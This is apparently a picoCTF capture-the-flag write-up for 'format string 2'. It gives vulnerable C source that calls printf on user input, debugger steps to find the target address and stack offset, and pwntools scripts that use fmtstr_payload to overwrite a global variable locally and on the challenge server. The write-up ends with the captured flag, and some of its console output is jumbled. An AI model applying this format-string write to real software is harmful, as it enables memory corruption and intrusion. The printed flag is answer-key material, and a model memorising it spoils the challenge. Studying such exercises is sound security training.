format string 2
**  
reverse  
picoctf

This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack. To impress this program you must change data on the stack!
The challenge has 2 files: 
source code of the vulnerable c program:
#include <stdio.h>

int sus = 0x21737573;

int main() {
char buf[1024];
char flag[64];


printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
// sus == galf
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);

printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}

return 0;
}
and the binary (vuln)

As the name implies there is a format string vulnerability.
For a better understanding I read this article which also solves Format string 3 challenge.
https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/

In order to set sus variable to 67616c66 value I first needed to find the address of it and the stack offset where it's saved.

In pwndbg
For finding the address:
pwndbg> p & sus
$6 = (<data variable, no debug info> *) 0x404060 <sus>
For finding the offset:
pwndbg> stack 20
00:0000rsp 0x7fffffffd990 ◂— 0x7fff00000000
01:0008│-448 0x7fffffffd998 ◂— 0x7fff00000000
02:0010│-440 0x7fffffffd9a0 ◂— 0xffffffff
03:0018│-438 0x7fffffffd9a8 —▸ 0x7ffff7fd4de9 (_dl_relocate_object+4233) ◂— test eax, eax
04:0020│-430 0x7fffffffd9b0 —▸ 0x7ffff7fc3908 ◂— 0xd00120000000e
05:0028│-428 0x7fffffffd9b8 —▸ 0x7ffff7ffdaf0 (_rtld_global+2736) —▸ 0x7ffff7fc3000 ◂— 0x3010102464c457f
06:0030│-420 0x7fffffffd9c0 ◂— 0x0
07:0038│-418 0x7fffffffd9c8 —▸ 0x7fffffffda80 ◂— 0x0
08:0040│-410 0x7fffffffd9d0 ◂— 'AAAAAAAA'
09:0048│-408 0x7fffffffd9d8 —▸ 0x7ffff7fc4a00 ◂— 0x39e28
0a:0050│-400 0x7fffffffd9e0 ◂— 0x0
0b:0058│-3f8 0x7fffffffd9e8 —▸ 0x7fffffffda80 ◂— 0x0
-'AAAAAAAA' is the value number 9 from the stack. In order to find the real offset I had to add 5 ----> offset = 14

exploit.py
from pwn import *
context.arch = 'amd64'

p = process('./vuln')
t = p.recvuntil(b'What do you have to say?\n')
#offset, {address: value}
payload = fmtstr_payload(14, {0x404060: 0x67616c66})
print(payload)
p.sendline(payload)
print(p.recvall().decode('utf-8'))

remote_exploit.py
from pwn import *
context.arch = 'amd64'


con = remote("rhea.picoctf.net",64757)
print(con.recvuntil(b'What do you have to say?\n'))
#offset, {address: value}
payload = fmtstr_payload(14, {0x404060: 0x67616c66})
con.sendline(payload)
print(con.recvall().decode('utf-8'))


[+] Opening connection to rhea.picoct[+] Opening connection to rhea.picoctf.net on port 64757: Doneb"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"[+] Receiving all data: Done (492B)[*] Closed connection to rhea.picoctf.net port 64757Here's your input: uc \x00 \x00aaaaba`@@I have NO clue how you did that, you must be a wizard. Here you go...picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}f.net on port 64757: Done
b"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n"
[+] Receiving all data: Done (492B)
[*] Closed connection to rhea.picoctf.net port 64757
Here's your input: uc \x00 \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}
picoCTF{f0rm47_57r?_f0rm47_m3m_5161a699}